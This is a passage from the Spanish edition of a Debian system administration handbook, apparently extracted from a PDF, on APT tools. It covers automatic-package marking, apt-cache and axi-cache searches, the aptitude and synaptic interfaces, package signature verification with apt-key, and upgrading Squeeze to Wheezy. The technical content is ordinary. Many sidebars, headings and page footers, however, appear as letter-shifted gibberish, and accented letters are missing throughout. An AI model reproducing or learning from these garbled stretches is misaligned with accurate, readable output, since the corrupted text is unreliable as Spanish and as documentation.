una prioridad menor a 500 (490 por ejemplo) a los paquetes que provengan de Unstable. Puede
modificar /etc/apt/preferences de la siguiente forma:
Package: *
Pin: release a=unstable
Pin-Priority: 490

 4FHVJNJFOUP EF QBRVFUFT JOTUBMBEPT BVUPNUJDBNFOUF


Una de las funcionalidades escenciales de apt-get (originalmente era especfica de aptitude)
es el rastreo de aquellos paquetes instalados nicamente debido a dependencias. Estos paquetes
son llamados automticos y generalmente incluyen bibliotecas.
Con esta informacin, cuado elimina paquetes, el gestor de paquetes puede calcular una lista de
paquetes automticos que ya no son necesarios (porque no hay paquetes instalados manualmente que dependan de ellos). apt-get autoremove se deshar de dichos paquetes. aptitude
no posee esta orden porque los elimina automticamente tan pronto como los identifica. Ambos
programas incluyen un mensaje que enumera los paquetes afectados.
Es buen hbito marcar como automtico cualquier paquete que no necesite directamente para
que sea eliminado automticamente cuando ya no sea necesario. apt-mark auto paquete marcar el paquete dado como automtico mientras que apt-mark manual paquete realiza lo opuesto. aptitude markauto y aptitude unmarkauto funcionan de la misma forma, pero ofrecen ms funcionalidad para markar varios paquetes simultneamente (revise la Seccin 6.4.1,
aptitude pgina 122). La interfaz interactiva para la consola de aptitude tambin facilita el
revisar la marca automtica en muchos paquetes.
Algunas personas podran desear saber porqu un paquete instalado automticamente est presente en el sistema. Para obtener esta informacin desde la lnea de rdenes puede utilizar
aptitude why paquete (apt-get no posee una funcionalidad similar):
$ aptitude why python-debian
i
aptitude
Recommends apt-xapian-index
i A apt-xapian-index Depends
python-debian (>= 0.1.15)

"-5&3/"5*7"
deborphan Z debfoster

$VBOEP apt-get Z aptitude OP QPTFBO VO TFHVJNJFOUP EF QBRVFUFT BV


UPNUJDPT FYJTUBO EPT IFSSBNJFOUBT RVF HFOFSBCBO MJTUBT EF QBRVFUFT JOOFDF
TBSJPT deborphan Z debfoster
deborphan FT MB NT SVEJNFOUBSJB EF BNCBT 4JNQMFNFOUF FTDBOFB MBT TFD
DJPOFT libs Z oldlibs TJFNQSF RVF OP TF MF JOEJRVF PUSB DPTB
CVTDBOEP MPT

QBRVFUFT JOTUBMBEPT BDUVBMNFOUF EF MPT RVF OP EFQFOEF OJOHO PUSP QBRVFUF


-B MJTUB SFTVMUBOUF QVFEF TFSWJS MVFHP DPNP VOB CBTF QBSB FMJNJOBS QBRVFUFT
JOOFDFTBSJPT
UJFOF VO FOGPRVF NT FMBCPSBEP NVZ TJNJMBS BM EF "15 NBOUJFOF
VOB MJTUB EF QBRVFUFT RVF GVFSPO JOTUBMBEPT FYQMDJUBNFOUF Z SFDVFSEB RV
QBRVFUFT TPO SFBMNFOUF OFDFTBSJPT FOUSF DBEB JOWPDBDJO 4J BQBSFDFO OVFWPT
debfoster



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

QBRVFUFT FO FM TJTUFNB RVF debfoster OP SFDPOPDF DPNP QBRVFUFT SFRVFSJEPT


TFSO NPTUSBEPT FO QBOUBMMB KVOUP B VOB MJTUB EF TVT EFQFOEFODJBT &M QSP
HSBNB MVFHP PGSFDF MB PQDJO EF FMJNJOBS FM QBRVFUF QPTJCMFNFOUF KVOUP B
MPT RVF EFQFOEFO EF M
NBSDBSMP DPNP SFRVFSJEP FYQMDJUBNFOUF P JHOPSBSMP
UFNQPSBMNFOUF

 -B PSEFO apt-cache


La orden apt-cache puede mostrar gran parte de la informacin almacenada en la base de datos
interna de APT. Esta informacin es una especie de cach ya que es obtenida de las diferentes
fuentes definidas en el archivo sources.list. Esto ocurre durante la operacin apt-get upd
ate.
70$"#6-"3*0
$BDI

6O DBDI FT VO TJTUFNB EF BMNBDFOBNJFOUP UFNQPSBM VUJMJ[BEP QBSB BDFMFSBS


FM BDDFTP GSFDVFOUF B EBUPT DVBOEP FM NUPEP EF BDDFTP VTVBM FT DPTUPTP FO
DVBOUP B SFOEJNJFOUP
 &TUF DPODFQUP QVFEF BQMJDBSTF FO OVNFSPTBT TJUVB
DJPOFT Z FO EJGFSFOUFT FTDBMBT EFTEF FM ODMFP EF NJDSPQSPDFTBEPSFT IBTUB
TJTUFNBT EF BMNBDFOBNJFOUP EF BMUB HBNB
&O FM DBTP EF "15 MPT BSDIJWPT EF SFGFSFODJB Packages TPO MPT VCJDBEPT FO MBT
SQMJDBT EF %FCJBO 5FOJFOEP FTP FO DVFOUB TFSB NVZ QPDP FGFDUJWP RVF DBEB
CTRVFEB RVF RVFSBNPT IBDFS FO MB CBTF EF EBUPT QPS QBRVFUFT EJTQPOJCMF TFB
B USBWT EF MB SFE &T QPS FTUP RVF "15 BMNBDFOB VOB DPQJB EF FTUPT BSDIJWPT
FO /var/lib/apt/lists/
Z MBT CTRVFEBT TF SFBMJ[BO EFOUSP EF TUPT BSDIJWPT
MPDBMFT %F GPSNB TJNJMBS /var/cache/apt/archives/ DPOUJFOF FM DBDI EF QB
RVFUFT ZB EFTDBSHBEPT QBSB FWJUBS EFTDBSHBSMPT OVFWBNFOUF TJ OFDFTJUB SFJO
TUBMBSMPT MVFHP EF FMJNJOBSMPT

La orden apt-cache puede realizar bsquedas de paquete basndose en palabras clave con
apt-cache search palabra_clave. Tambin puede mostrar las cabeceras de las versiones
disponibles de un paquete con apt-cache show paquete. Esta orden provee la descripcin de
un paquete, sus dependencias, el nombre de su encargado, etc. Note que aptitude search y
aptitude show trabajan de la misma manera.
"-5&3/"5*7"
axi-cache

apt-cache search FT VOB IFSSBNJFOUB NVZ SVEJNFOUBSJB CTJDBNFOUF JN


QMFNFOUB grep TPCSF MB EFTDSJQDJO EF MPT QBRVFUFT (FOFSBMNFOUF EFWVFMWF

EFNBTJBEPT SFTVMUBEPT P OJOHVOP FO BCTPMVUP DVBOEP JODMVZF EFNBTJBEBT QBM


BCSBT DMBWF
axi-cache search trmino QPS FM PUSP MBEP QSPWFF NFKPSFT SFTVMUBEPT PSEF

OBEPT TFHO TV SFMFWBODJB 6UJMJ[B FM NPUPS EF CTRVFEB 9BQJBO Z FT QBSUF EFM


QBRVFUF BQUYBQJBOJOEFY RVF JOEFYB UPEB MB JOGPSNBDJO EF MPT QBRVFUFT Z
NT DPNP MPT BSDIJWPT .desktop EF UPEPT MPT QBRVFUFT %FCJBO
 &TU BM UBO
UP EF MBT FUJRVFUBT SFWJTF FM SFDVBESP k &M DBNQP Tag{ QHJOB 
Z EFWVFMWF
SFTVMUBEPT FO DVFTUJO EF NJMJTFHVOEPT
$ axi-cache search package use::searching
105 results found.

$BQUVMP  .BOUFOJNJFOUP Z BDUVBMJ[BDJPOFT MBT IFSSBNJFOUBT "15



Results 1-20:
100 % packagesearch - GUI for searching packages and viewing
package information
98 % debtags - Enables support for package tags
94 % debian-goodies - Small toolbox-style utilities
93 % dpkg-awk - Gawk script to parse /var/lib/dpkg/{status,
available} and Packages
93 % goplay - games (and more) package browser using DebTags
[...]
87 % apt-xapian-index - maintenance and search tools for a
Xapian index of Debian packages
[...]
More terms: search debian searching strigi debtags bsearch
libbsearch
More tags: suite::debian works-with::software:package role
::program interface::commandline implemented-in::c++
admin::package-management use::analysing
`axi-cache more' will give more results

Algunas funcionalidades son menos utilizadas. Por ejemplo, apt-cache policy muestra las
prioridades de los orgenes de paquete as como tambin las prioridades de paquetes individuales. Otro ejemplo es apt-cache dumpavail que muestra las cabeceras de todas las versiones
disponibles de todos los paquetes. apt-cache pkgnames muestra una lista con todos los paquetes que aparecen al menos una vez en el cach.

 *OUFSGBDFT aptitude synaptic


APT es un programa en C++ cuyo cdigo est principalmente en la biblioteca compartida lib
apt-pkg. Utilizar una biblioteca compartida facilita la creacin de interfaces de usuario ya que
se puede reutilizar fcilmente el cdigo que contiene la biblioteca. Histricamente apt-get fue
slo diseado como una interfaz de pruebas para libapt-pkg, pero su xito tiende a esconder
este hecho.

 aptitude
es un programa interactivo que puede utilizar en un modo semigrfico en una consola. Puede navegar la lista de paquetes instalados y disponibles, buscar toda la informacin
disponible y seleccionar paquetes a instalar o eliminar. El programa est diseado especficamente para que lo utilicen administradores, por lo que sus comportamientos predeterminados
son mucho ms inteligentes que los de apt-get y su interfaz es mucho ms sencilla de entender.
aptitude



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

'JHVSB 

&M HFTUPS EF QBRVFUFT aptitude

Al iniciar, aptitude muestra una lista de todos los paquetes ordenados por estado (instalado,
no instalado o instalado pero no disponible en las rplicas otras secciones muestran tareas,
paquetes virtuales y paquetes nuevos que aparecieron recientemente en las rplicas). Hay otras
vistas disponibles para facilitar la navegacin temtica. En todos los casos, aptitude muestra
en la pantalla una lista que combina las categoras y los paquetes. Las categoras estn organizadas a travs de una estructura de rbol cuyas ramas puede ser desdobladas o cerradas con las
teclas Enter, [ y ]. Puede utilizar + para marcar un paquete para instalacin, - para marcarlo para
eliminacin y _ para purgarlo (note que tambin puede utiliziar estas teclas para categoras, en
cuyo caso la accin correspondiente ser aplicada a todos los paquetes en dicha categora). u
actualiza la lista de paquetes disponibles y Shift+u prepara una actualizacin global al sistema. g
cambia la vista a un resumen de los cambios solicitados (y presione g nuevamente har efectivos
los cambios), y q sale de la vista actual. Si est en la vista inicial, esto cerrar definitivamente
aptitude.
%0$6.&/5"$*/
aptitude

&TUB TFDDJO OP DVCSF MPT EFUBMMFT NT FTQFDGJDPT EF VUJMJ[BS aptitude FO HFO


FSBM TF EFEJDB B EBSMF VO FRVJQP EF TVQFSWJWFODJB QBSB VTBSMP aptitude FTU
CBTUBOUF CJFO EPDVNFOUBEP Z SFDPNFOEBNPT RVF VUJMJDF TV NBOVBM DPNQMFUP
EJTQPOJCMF FO FM QBRVFUF BQUJUVEFEPDFO
file:///usr/share/doc/aptitude/html/en/index.html

Para buscar un paquete puede ingresar / seguido de un patrn de bsqueda. Este patrn buscar
en los nombres de los paquetes pero tambin puede buscar en la descripcin (si est precedido
por _E), la seccin (con _T) o a otras caractersticas que estn detalladas en la documentacin.
Los mismos patrones pueden utilizarse para filtrar la lista de paquetes mostrados: presione la
tecla l (como en limitar) e ingrese el patrn.

$BQUVMP  .BOUFOJNJFOUP Z BDUVBMJ[BDJPOFT MBT IFSSBNJFOUBT "15



Administrar la marca automtica de los paquetes Debian (revise la Seccin 6.2.7, Seguimiento
de paquetes instalados automticamente pgina 120) es muy sencillo con aptitude. Es posible navegar la lista de paquetes instalados y marcar paquetes como automticos con Shift+m
o eliminar la parca con la tecla m. Los paquetes automticos estn identificados con A en
la lista de paquetes. Esta funcionalidad tambin ofrece una forma simple de visualizar los paquetes utilizados en un equipo, sin las bibliotecas y dependencias que no le interesan. El patrn
relacionado que puede utilizar con l (para activar el modo de filtro) es _J_.. Especifica que slo
desea ver paquetes instalados (_J) que no estn marcados como automticos (_.).
)&33".*&/5"
6UJMJ[BOEP aptitude FO MB
MOFB EF SEFOFT

-B NBZPSB EF MB GVODJPOBMJEBE EF aptitude FTU EJTQPOJCMF UBOUP B USBWT EF


MB JOUFSGB[ JOUFSBDUJWB DPNP EF MB MOFB EF SEFOFT &TUB MUJNB MF SFTVMUBS
GBNJMJBS B MPT VTVBSJPT BTJEVPT EF apt-get Z apt-cache
-BT DBSBDUFSTUJDBT BWBO[BEBT EF aptitude UBNCJO FTUO EJTQPOJCMFT FO MB
MOFB EF SEFOFT1VFEF VUJMJ[BS MPT NJTNPT QBUSPOFT EF CTRVFEB EF QBRVF
UFT RVF FO MB WFSTJO JOUFSBDUJWB 1PS FKFNQMP TJ MJNQJBS MB MJTUB EF QBRVFUFT
kJOTUBMBEPT NBOVBMNFOUF{ Z TBCF RVF OJOHVOP EF MPT QBRVFUFT JOTUBMBEPT MP
DBMNFOUF OFDFTJUBO VOB CJCMJPUFDB P NEVMP 1FSM QBSUJDVMBS QVFEF NBSDBS MPT
QBRVFUFT DPSSFTQPOEJFOUFT DPNP BVUPNUJDPT DPO VOB TPMB PSEFO
# aptitude markauto '~slibs|~sperl'

"RV QVFEF WFS DMBSBNFOUF FM QPEFS EFM TJTUFNB EF QBUSPOFT EF CTRVFEB EF


aptitude RVF QFSNJUF MB TFMFDDJO JOTUBOUOFB EF UPEPT MPT QBRVFUFT FO MBT
TFDDJPOFT libs Z perl
5FOHB DVJEBEP RVF TJ BMHVOPT QBRVFUFT TPO NBSDBEPT DPNP BVUPNUJDPT
Z OJOHO PUSP QBRVFUF EFQFOEF EF FMMPT TFSO FMJNJOBEPT JONFEJBUBNFOUF
MVFHP EF VO QFEJEP EF DPOGJSNBDJO


"ENJOJTUSBDJO EF SFDPNFOEBDJPOFT TVHFSFODJBT Z UBSFBT


Otra funcionalidad interesante de aptitude es el hecho de que respeta las recomendaciones
entre paquetes al mismo tiempo que provee al usuario la opcin de no instalarlas caso por caso.
Por ejemplo, el paquete gnome recomienda gdebi (entre otros). Cuando selecciona para instalar
al primero, el ltimo tambin ser seleccionado (y marcado como automtico si no estaba instalado en el sistema). Presionar g lo har evidente: gdebi aparecer en la pantalla de resumen
de acciones pendientes en la lista de paquetes instalados automticamente para satisfacer dependencias. Sin embargo, puede decidir no instalarlo quitndolo de la seleccin de paquetes a
instalar antes de confirmar las operaciones.
Note que esta funcionalidad de seguimiento de recomendaciones no funciona con actualizaciones. Por ejemplo, si una nueva versin de gnome recomienda un paquete que no estaba recomendado en la versin anterior, ste no ser marcado para instalacin. Sin embargo ser
mostrado en la pantalla de actualizacin para que el administrador pueda seleccionarlo para
instalar.
Tambin se tienen en cuenta las sugerencias entre paquetes pero adaptadas a su estado especfico. Por ejemplo, ya que gnome sugiere dia-gnome, este ltimo ser mostrado en la pantalla de



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

resumen de acciones pendientes (en la seccin de paquetes sugeridos por otros paquetes). De
esta forma es visto por el administrador que puede decidir si tomar en cuenta la sugerencia o
no. Debido a que es slo una sugerencia y no una dependencia o recomendacin, no se seleccionar automticamente al paquete eso requiere intervencin manual del usuario (por lo
que el paquete no ser marcado como automtico).
En el mismo espritu, recuerde que aptitude hace un uso inteligente del concepto de tarea.
Como se muestran las tareas como categoras en las pantallas de listas de paquetes puede seleccionar para instalar o eliminar una tarea completa o navegar la lista de los paquetes incluidos
en una tarea para seleccionar un subconjunto ms pequeo.

.FKPSFT BMHPSJUNPT EF SFTPMVDJO


Para concluir esta seccin, resaltaremos que aptitude tiene algoritmos ms elaborados para resolver situaciones difciles comparado con apt-get. Cuando se requiere un conjunto de acciones
y dicha combinacin de acciones resultara en un sistema incoherente, aptitude evala varios
escenarios posibles y los presenta de ms a menos relevante. Sin embargo, estos algoritmos no
estn exentos de fallos. Afortunadamente siempre existe la posibilidad de seleccionar manualmente las acciones a realizar. Cuando las acciones seleccionadas lleven a contradicciones, la
parte superior de la pantalla mostrar la cantidad de paquetes rotos (puede ir directamente a
dichos paquetes presionando b). Luego podr construir manualmente una solucin a los problemas encontrados. En particular, puede acceder a las diferentes versiones disponibles seleccionando el paquete con Enter. Si la seleccin de una de dichas versiones soluciona el problema,
no debe dudar en utilizarla. Cuando reduzca el nmero de paquetes rotos a cero puede volver
a la pantalla de resumen de acciones pendientes para una ltima revisin antes de aplicar los
cambios.
/05"
&M SFHJTUSP EF aptitude

%F GPSNB TJNJMBS B dpkg aptitude NBOUJFOF VOB USB[B EF MBT BDDJPOFT FKF
DVUBEBT FO TV BSDIJWP EF SFHJTUSP /var/log/aptitude
 4JO FNCBSHP EFCJEP
B RVF MPT QSPHSBNBT USBCBKBO FO OJWFMFT EJGFSFOUFT OP FODPOUSBS MB NJTNB
JOGPSNBDJO FO TVT BSDIJWPT EF SFHJTUSP .JFOUSBT RVF dpkg SFHJTUSB UPEBT MBT
PQFSBDJPOFT FKFDVUBEBT FO QBRVFUFT JOEJWJEVBMFT QBTP B QBTP aptitude QSPWFF
VOB WJTJO NT BNQMJB EF PQFSBDJPOFT EF BMUP OJWFM DPNP VOB BDUVBMJ[BDJO EF
UPEP FM TJTUFNB
5FOHB FO DVFOUB RVF FTUF BSDIJWP EF SFHJTUSP TMP DPOUJFOF VO SFTVNFO EF
MBT PQFSBDJPOFT SFBMJ[BEBT QPS aptitude 4J TF VUJMJ[BO PDBTJPOBMNFOUF PUSBT
JOUFSGBDFT P BO dpkg NJTNP
FOUPODFT FM SFHJTUSP EF aptitude TMP UFOES
VOB WJTUB QBSDJBM EF MBT PQFSBDJPOFT QPS MP RVF OP QVFEF DPOGJBS FO M QBSB
DPOTUSVJS VOB IJTUPSJB DPOGJBCMF EFM TJTUFNB

 synaptic
es un gestor grfico de paquetes para Debian que tiene una interfaz grfica limpia
y eficiente basada en GTK+/GNOME. Sus muchos filtros listos para utilizar proveen un acceso
rpido a nuevos paquetes disponibles, paquetes instalados, paquetes para actualizar, paquetes
synapyic

$BQUVMP  .BOUFOJNJFOUP Z BDUVBMJ[BDJPOFT MBT IFSSBNJFOUBT "15



obsoletos y ms. Si navega por estas listas puede seleccionar las operaciones a realizar en los paquetes (instalar, actualizar, eliminar, purgar); no se realizan inmediatamente estas operaciones
sino que se las agrega a una lista de tareas. Un botn luego valida las operaciones y las ejecuta
en conjunto.

'JHVSB 

HFTUPS EF QBRVFUFT synaptic

 $PNQSPCBDJO EF MB BVUFOUJDJEBE EF VO QBRVFUF


La seguridad es muy importante para los administradores de Falcot Corp. Por consiguiente,
necesitan asegurar que slo instalen paquetes con garanta de que provienen de Debian sin modificaciones en el camino. Un cracker podra intentar agregar cdigo malicioso en un paquete
que de otra forma sera legtimo. Si se instala tal paquete, ste podra hacer cualquier cosa para
la que dicho cracker lo diseo, inclusive revelar contraseas o informacin confidencial por
ejemplo. Para evitar este riesgo, Debian provee un sello contra modificaciones para garantizar
al momento de instalacin que el paquete realmente proviene de su encargado oficial y no
fue modificado por un tercero.
El sello funciona con una firma y una cadena de hashes criptogrficos. El archivo Release,
provisto por las rplicas Debian, es el firmado. Contiene una lista de los archivos Packages
(incluyendo sus formas comprimidas, Packages.gz y Packages.bz2, as como las versiones
incrementales), junto con sus hashes MD5, SHA1 y SHA256 lo que asegura que los archivos
no fueron modificados. Estos archivos Packages contienen una lista de los paquetes Debian
disponibles en la rplica junto con sus hashes lo que asegura, a su vez, que el contenido de los
paquetes mismos tampoco fue modificado.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Las llaves confiables son administradas con el programa apt-key que se encuentra en el paquete apt. Este programa mantiene un conjunto de llaves pblicas GnuPG que son utilizadas
para verificar las firmas disponibles en los archivos Release.gpg disponibles en las rplicas.
Puede utilizarse para agregar nuevas llaves de forma manual (cuando se necesitan rplicas
no oficiales). Generalmente sin embargo, slo necesitar las llaves oficiales de Debian. Estas
llaves se mantienen actualizadas de forma automtica por el paquete debian-archive-keyring (que
crea los conjuntos de llaves correspondientes en /etc/apt/trusted.gpg.d). Sin embargo, la
primera instalacin de este paquete requiere cierto cuidado: an si el paquete est firmado como cualquier otro, no se puede verificar dicha firma. Los administradores cautelosos deberan,
por lo tanto, verificar las huellas de las llaves importadas antes de confiar en ellas para instalar
nuevos paquetes:
# apt-key fingerprint
/etc/apt/trusted.gpg.d//debian-archive-squeeze-automatic.gpg
-----------------------------------------------------------pub
4096R/473041FA 2010-08-27 [expires: 2018-03-05]
Key fingerprint = 9FED 2BCB DCD2 9CDF 7626 78CB AED4 B06F 4730 41FA
uid
Debian Archive Automatic Signing Key (6.0/squeeze) <ftpmaster@debian.org>
/etc/apt/trusted.gpg.d//debian-archive-squeeze-stable.gpg
--------------------------------------------------------pub
4096R/B98321F9 2010-08-07 [expires: 2017-08-05]
Key fingerprint = 0E4E DE2C 7F3E 1FC0 D033 800E 6448 1591 B983 21F9
uid
Squeeze Stable Release Key <debian-release@lists.debian.org>
/etc/apt/trusted.gpg.d//debian-archive-wheezy-automatic.gpg
----------------------------------------------------------pub
4096R/46925553 2012-04-27 [expires: 2020-04-25]
Key fingerprint = A1BD 8E9D 78F7 FE5C 3E65 D8AF 8B48 AD62 4692 5553
uid
Debian Archive Automatic Signing Key (7.0/wheezy) <ftpmaster@debian.org>
/etc/apt/trusted.gpg.d//debian-archive-wheezy-stable.gpg
-------------------------------------------------------pub
4096R/65FFB764 2012-05-08 [expires: 2019-05-07]
Key fingerprint = ED6D 6527 1AAC F0FF 15D1 2303 6FB2 A1C2 65FF B764
uid
Wheezy Stable Release Key <debian-release@lists.debian.org>

&/ -" 13$5*$"


"HSFHBOEP MMBWFT DPOGJBCMFT

$VBOEP TF BHSFHB VOB GVFOUF EF QBRVFUFT EF UFSDFSPT BM BSDIJWP sources.list


TF OFDFTJUB JOGPSNBS B "15 RVF DPOGF FO MBT MMBWFT EF BVUFOUJDBDJO (1( DPS
SFTQPOEJFOUFT EF MP DPOUSBSJP DPOUJOVBS RVFKOEPTF EF RVF OP QVFEF BTF
HVSBS MB BVUFOUJDJEBE EF MPT QBRVFUFT RVF QSPWFOHBO EF EJDIP SFQPTJUPSJP
 &M
QSJNFS QBTP FT PCWJBNFOUF PCUFOFS MB MMBWF QCMJDB -B NBZPSB EF MBT WF
DFT FODPOUSBS EJDIB MMBWF FO VO QFRVFP BSDIJWP EF UFYUP RVF MMBNBSFNPT
key.asc FO MPT TJHVJFOUFT FKFNQMPT
1BSB BHSFHBS MB MMBWF BM DPOKVOUP DPOGJBCMF FM BENJOJTUSBEPS QVFEF FKFDVUBS
apt-key add < key.asc 0USB GPSNB FT VUJMJ[BS MB JOUFSGB[ HSGJDB synaptic
TV QFTUBB k"VUFOUJDBDJO{ FO FM NFO $POGJHVSBDJO 3FQPTJUPSJPT QSPWFF
MB DBQBDJEBE EF JNQPSUBS VOB MMBWF EFM BSDIJWP key.asc
"RVFMMPT RVF QSFGJFSFO VOB BQMJDBDJO EFEJDBEB Z NT EFUBMMFT TPCSF MBT MMBWFT
DPOGJBCMFT QVFEFO VUJMJ[BS gui-apt-key FO FM QBRVFUF DPO FM NJTNP OPNCSF

VOB QFRVFB JOUFSGB[ HSGJDB QBSB FM VTVBSJP RVF BENJOJTUSB FM DPOKVOUP EF
MMBWFT DPOGJBCMFT

$BQUVMP  .BOUFOJNJFOUP Z BDUVBMJ[BDJPOFT MBT IFSSBNJFOUBT "15



Una vez que las llaves apropiadas se ecuentran en el conjunto, APT revisar las firmas antes de
cualquier operacin riesgosa para que las interfaces muestren una advertencia cuando estn
instalando un paquete sobre el que no se puede verificar autenticidad.

 "DUVBMJ[BDJO EF VOB EJTUSJCVDJO FTUBCMF B MB TJHVJFOUF


Una de las caractersticas ms conocidas de Debian es su habilidad de actualizar un sistema instalado de una versin estable a la siguiente: dist-upgrade una frase muy conocida contribuy
en gran medida a la reputacin del proyecto. Tomando unas pocas precauciones, actualizar un
equipo puede tomar tan poco como unos cuantos minutos, o unas docenas de minutos, dependiendo de la velocidad de descarga de los repositorios de paquetes.

 1SPDFEJNJFOUP SFDPNFOEBEP


Dado que Debian tiene bastante tiempo para evolucionar entre versiones estables debera leer
las notas de publicacin antes de actualizar.
70-7&3 " -04
$*.*&/504
/PUBT EF QVCMJDBDJO

-BT OPUBT EF QVCMJDBDJO QBSB VO TJTUFNB PQFSBUJWP Z NT HFOFSBMNFOUF


QBSB DVBMRVJFS TPXBSF
TPO VO EPDVNFOUP RVF QSPWFF VOB WJTUB HFOFSBM EFM
TPXBSF DPO BMHVOPT EFUBMMFT TPCSF MBT QBSUJDVMBSJEBEFT EF VOB WFSTJO &TUPT
EPDVNFOUPT TPO HFOFSBMNFOUF DPSUPT DPNQBSBEPT DPO MB EPDVNFOUBDJO DPN
QMFUB Z GSFDVFOUFNFOUF MJTUBO MBT DBSBDUFSTUJDBT JOUSPEVDJEBT EFTEF MB WFSTJO
BOUFSJPS 5BNCJO QSPWFFO EFUBMMFT TPCSF MPT QSPDFEJNJFOUPT EF BDUVBMJ[BDJO
BEWFSUFODJBT QBSB MPT VTVBSJPT EF MBT WFSTJPOFT BOUFSJPSFT Z B WFDFT VOB FSSB
UB
-BT OPUBT EF QVCMJDBDJO FTUO EJTQPOJCMFT POMJOF MBT EF MB WFSTJO FTUBCMF BD
UVBM UJFOFO VOB 63- EFEJDBEB NJFOUSBT RVF TF QVFEFO FODPOUSBS MBT BOUFSJPSFT
TFHO TVT OPNCSF DEJHP
http://www.debian.org/releases/stable/releasenotes
http://www.debian.org/releases/squeeze/releasenotes

En esta seccin nos centraremos en actualizar un sistema Squeeze a Wheezy. Esta es una operacin
de gran envergadura en un sistema; como tal nunca est 100 % libre de riesgos y no debera
intentarse antes de tener respaldos de todos los datos importantes.
Otro buen hbito que hara la actualizacin ms sencilla (y ms corta) es ordenar sus paquetes
instalados y slo mantener aquellos que son realmente necesarios. Las herramientas tiles para
realizarlo incluyen aptitude, deborphan y debfoster (revise la Seccin 6.2.7, Seguimiento
de paquetes instalados automticamente pgina 120). Por ejemplo, puede utilizar la siguiente
orden y luego utilizar el modo interactivo de aptitude para revisar y retocar las eliminaciones
programadas:
# deborphan | xargs aptitude --schedule-only remove



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Ahora la actualizacin en s. Primero necesita cambiar el archivo /etc/apt/sources.list para


indicarle a APT que obtenga sus paquetes de Wheezy en lugar de Squeezy. Si el archivo slo contiene referencias a Stable en lugar de nombres cdigo explcitos no necesita hacer este cambio
ya que Stable siempre hace referencia a la ltima versin de Debian publicada. En ambos casos,
necesita actualizar la base de datos de paquetes disponibles (con apt-get update o el botn de
actualizacin en synaptic).
Una vez que se registraron las nuevas fuentes de paquetes, primero debe realizar una actualizacin mnima con apt-get upgrade. El realizar la actualizacin en dos pasos facilitar el
trabajo de las herramientas de gestin de paquetes y generalmente asegurar que tendr las ltimas versiones de las mismas, que pueden haber acumulado correcciones de errores y mejoras
necesarias para finalizar la actualizacin de la distribucin completa.
Una vez que se complet la pimera actualizacin lleg el momento de la actualizacin en s,
ya sea con apt-get dist-upgrade, aptitude> o synaptic. Debera verificar cuidadosamente
las acciones sugeridas antes de ejecutarlas: podra desear agregar paquetes sugeridos o deseleccionar paquetes que slo son recomendados y sabe que no sern tiles. En cualquier caso, la
interfaz debera proveer un escenario que termine con un sistema Wheezy coherente y actualizado. Luego, todo lo que necesita hacer es esperar mientras se descargan los paquetes necesarios,
responder las preguntas Debconf y posiblemente aquellas sobre archivos de configuracin modificados localmente y sentarse a esperar mientras APT hace su magia.

 .BOFKP EF QSPCMFNBT USBT VOB BDUVBMJ[BDJO


A pesar de los mejores esfuerzos de los encargados de Debian, una actualizacin general del
sistema no es siempre tan fluida como uno deseara. Nuevas versiones de software podran ser
incompatibles con las anteriores (por ejemplo, podran haber cambiado sus comportamientos
predeterminados o sus formatos de datos). Tambin, se pueden haber colado algunos errores a
pesar de la fase de pruebas que precede a una publicacin de Debian.
Para anticiparse a algunos de estos problemas, puede instalar el paquete apt-listchanges que
muestra informacin acerca de posibles problemas al prinicipio de la actualizacin de un paquete. Los encargados de los paquetes recopilan esta informacin y la incorporan a los archivos
/usr/share/doc/paquete/NEWS.Debian para el beneficio de los usuarios. Leer estos archivos
(posiblemente a travs de apt-listchanges) debera ayudarle a evitar sorpresas desagradables.
A veces podra encontrar que la nueva versin de un software no funciona en absoluto. Esto generalmente ocurre si la aplicacin no es popular o no fue probada lo suficiente; una actualizacin
de ltimo momento tambin podra introducir regresiones que se encuentran slo luego de la
publicacin estable. En ambos casos, lo primero a hacer es revisar el sistema de seguimiento
de errores en IQCVHTEFCJBOPSHQBRVFUF y verificar si el problema ya fue reportado. Si no
lo fue, debera reportarlo con reportbug. Si ya es conocido, tanto el reporte de error como los
mensajes asociados suelen ser exelentes fuentes de informacin sobre el problema:

$BQUVMP  .BOUFOJNJFOUP Z BDUVBMJ[BDJPOFT MBT IFSSBNJFOUBT "15



a veces existe un parche y est disponible en el reporte de error, puede recompilar localmente una versin corregida del paquete roto (revise la Seccin 15.1, Recompilacin de
un paquete desde sus fuentes pgina 426);
en otros casos, los usuarios podran haber encontrado una forma de evitar el problema y
compartido sus experiencias en sus respuestas al reporte;
en otros casos ms, puede que el encargado ya haya preparado y publicado un paquete
corregido.
Dependiendo de la severidad del error, se podra llegar a preparar una nueva versin del paquete
especficamente para una nueva revisin de la versin estable. Cuando esto sucede, el paquete
corregido estar disponible en la seccin QSPQPTFEVQEBUFT de las rplicas de Debian (revise
la Seccin 6.1.2.3, Actualizaciones propuestas pgina 107). Puede agregar temporalmente la
lnea correspondiente al archivo sources.list e instalar los paquetes actualizados con aptget o aptitude.
A veces el paquete corregido no est disponible en esta seccin porque est esperando validacin
de los Gestores de versiones estables. Puede verificar si este es el caso en su pgina web. Los
paquetes all listados an no estn disponibles pero al menos sabe que el proceso de publicacin
est en marcha.
http://release.debian.org/proposed-updates/stable.html

 .BOVUFODJO EF VO TJTUFNB BDUVBMJ[BEP


La distribucin Debian es dinmica y cambia continuamente. La mayora de los cambios tienen
lugar en las versiones Testing y Unstable, pero incluso Stable es actualizada de vez en cuando, principalmente para correcciones relacionadas con la seguridad. Independientemente de la versin
de Debian que ejecute en el sistema, generalmente es buena idea mantenerlo actualizado para
poder beneficiarse de las evoluciones recientes y correcciones de errores.
Si bien es posible ejecutar peridicamente una herramienta para verificar las actualizaciones
disponibles y aplicarlas, una tarea tan repetitiva es tediosa, especialmente cuando debe realizarla en varias mquinas. Afortunadamente, como varias tareas repetitivas, puede ser automatizada parcialmente y ya se desarrollaron un conjunto de herramientas a tal efecto.
La primera de estas herramientas es apticron en el paquete del mismo nombre. Su efecto principal es ejecutar diariamente un script (a travs de cron). El script actualiza la lista de paquetes
y, si algunos paquetes instalados no estn en la ltima versin disponible, enva un email con
una lista de estos paquetes junto con los cambios realizados en las nuevas versiones. Obviamente, este paquete est apuntado principalmente a usuarios de Debian Stable ya que los emails
diarios seran muy extensos para las versiones de Debian con ms actualizaciones. Cuando haya
